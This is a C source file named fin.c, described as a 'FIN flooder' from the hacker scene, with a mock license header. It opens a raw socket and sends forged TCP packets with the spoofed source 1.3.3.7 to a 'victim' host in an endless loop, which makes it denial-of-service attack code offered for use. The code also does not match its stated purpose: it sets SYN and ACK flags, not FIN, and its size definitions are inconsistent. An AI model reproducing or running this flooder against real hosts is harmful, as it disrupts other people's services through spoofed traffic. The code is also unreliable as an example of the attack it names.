/***********************************************
 * released under (E) licensing ...            *
 *        (E) RULES AND REGULATIONS            *
 * permission to use/rewrite/add     : granted *
 * permission to trojan/steal        : denied  *
 * permission to use illegally       : denied  *
 * permission to use on /dev/urandom : denied  *
 ***********************************************/
/* contact el8@press.co.jp for full license    */
/* code copyrighted by ~el8 -- don't infringe! */

/*
 *  - Program: fin.c
 *  - Purpose: FIN flooder
 *  - Author: lore <fiddler@antisocial.com>
 *  - Compile: cc -o fin fin.c `libnet-config --defines` -lnet
 *  - Usage: ./fin -h
 *
 */

#ifndef __BSD_SOURCE
#define __BSD_SOURCE
#endif

/* Header files */

#include <db.h>
#include <netinet/in_systm.h>
#include <errno.h>
#include <stdio.h>
#include <stdlib.h>
#include <libnet.h>
#include <arpa/inet.h>
#include <netdb.h>
#include <unistd.h>
#include <string.h>
#include <sys/signal.h>
#include <sys/types.h>
#include <sys/socket.h>

__BEGIN_DECLS

/* Definitions */

#define IP_SIZE        (sizeof(struct ip))
#define TCP_SIZE      (sizeof(struct tcphdr))
#define TOTAL_SIZE     (IP_SIZE + TCP_SIZE)

#define TRUE  (0x1)
#define FALSE (0x0)
#define ERR   (0xffffffff)

/* Data-types */

typedef int sock_t;

/* Global variables */

char * packet_buf;
FILE * stream;
sock_t raw_sock;
char * yes = "1";

/* Prototypes */

int     main              __P ((int, char * *));
void    ctrlc             __P ((int));
void    die               __P ((int));
void    usage             __P ((char *));
char *  strip             __P ((u_long));
u_long  res               __P ((char *));
size_t  send_fin_packet   __P ((u_long));

__END_DECLS

/* Functions */

int main (int argc, char * * argv)
{
  u_char * ptr = *argv;
  u_long victim = ERR;

  stream = stderr;

  ++argv; --argc;

  while (argv && *argv)
  {
    if (victim == ERR)
    {
      if ((victim = res(*(argv))) == ERR)
      {
        fprintf(stderr, "> Bad victim: %s\n", *argv);
        exit(EXIT_FAILURE);
      }
    }
    else usage(ptr);
    ++argv;
  }

  if (victim == ERR)
  {
    usage(ptr);
  }

  if (!(packet_buf = (char *)malloc(TOTAL_SIZE)))
  {
    fprintf(stream, "> Ran out of memory\n");
    exit(EXIT_FAILURE);
  }

  if ((raw_sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) == ERR)
  {
    fprintf(stream, "> Raw socket could not be created: %s\n",
            strerror(errno));
    exit(EXIT_FAILURE);
  }

  else if ( (setsockopt(raw_sock, IPPROTO_IP, IP_HDRINCL, (char *)&yes,
             sizeof(yes)) == ERR) ||
            (setsockopt(raw_sock, SOL_SOCKET, SO_BROADCAST, (char *)&yes,
             sizeof(yes)) == ERR) )
  {
    fprintf(stream, "> Could not set socket opts: %s\n", strerror(errno));
    exit(EXIT_FAILURE);
  }

  fprintf(stream,
          "> fin.c FIN attack\n");
  fprintf(stream, "> author: lore\n");
  fprintf(stream, "> victim: %s\n", strip(victim));

  signal(SIGINT, ctrlc);

  fprintf(stream, "> Hit Ctrl-C to abort\n");

  while (TRUE)
  {
    if (send_fin_packet(victim) == ERR)
      die(EXIT_FAILURE);
  }
  die(EXIT_SUCCESS);
}

void ctrlc (int useless)
{
  die (EXIT_SUCCESS);
}

void die (int code)
{
  fprintf(stream, "> Flood ended\n");
  shutdown(raw_sock, 2);
  free(packet_buf);
  exit(code);
}

u_long res (char * host)
{
  u_long ipaddr;
  struct hostent * hp;

  if ((ipaddr = inet_addr(host)) == ERR)
  {
    if (!(hp = gethostbyname(host))) return (FALSE);
    memcpy(&ipaddr, hp->h_addr, hp->h_length);
  }
  return (ipaddr);
}

char * strip (u_long ipaddr)
{
  struct in_addr addr;
  addr.s_addr = ipaddr;
  return (inet_ntoa(addr));
}

void usage (char * pname)
{
  fprintf(stream,
    "Usage: %s <victim>\n", pname);

  exit(EXIT_SUCCESS);
}

size_t send_fin_packet (u_long to)
{
  libnet_build_ip(TCP_H, 0, libnet_get_prand(PRu16), 0, 137, IPPROTO_TCP,
                  inet_addr("1.3.3.7"), to, NULL, 0, packet_buf);
  libnet_build_tcp(0x1337, 80, libnet_get_prand(PRu32), libnet_get_prand(PRu32)
,                   TH_ACK|TH_SYN, libnet_get_prand(PRu16), 0, NULL, 0,
                   packet_buf + TCP_H);
  libnet_do_checksum(packet_buf, IPPROTO_TCP, TCP_H);
  return libnet_write_ip(raw_sock, packet_buf, TCP_H + IP_H);
}


syntax highlighted by Code2HTML, v. 0.9.1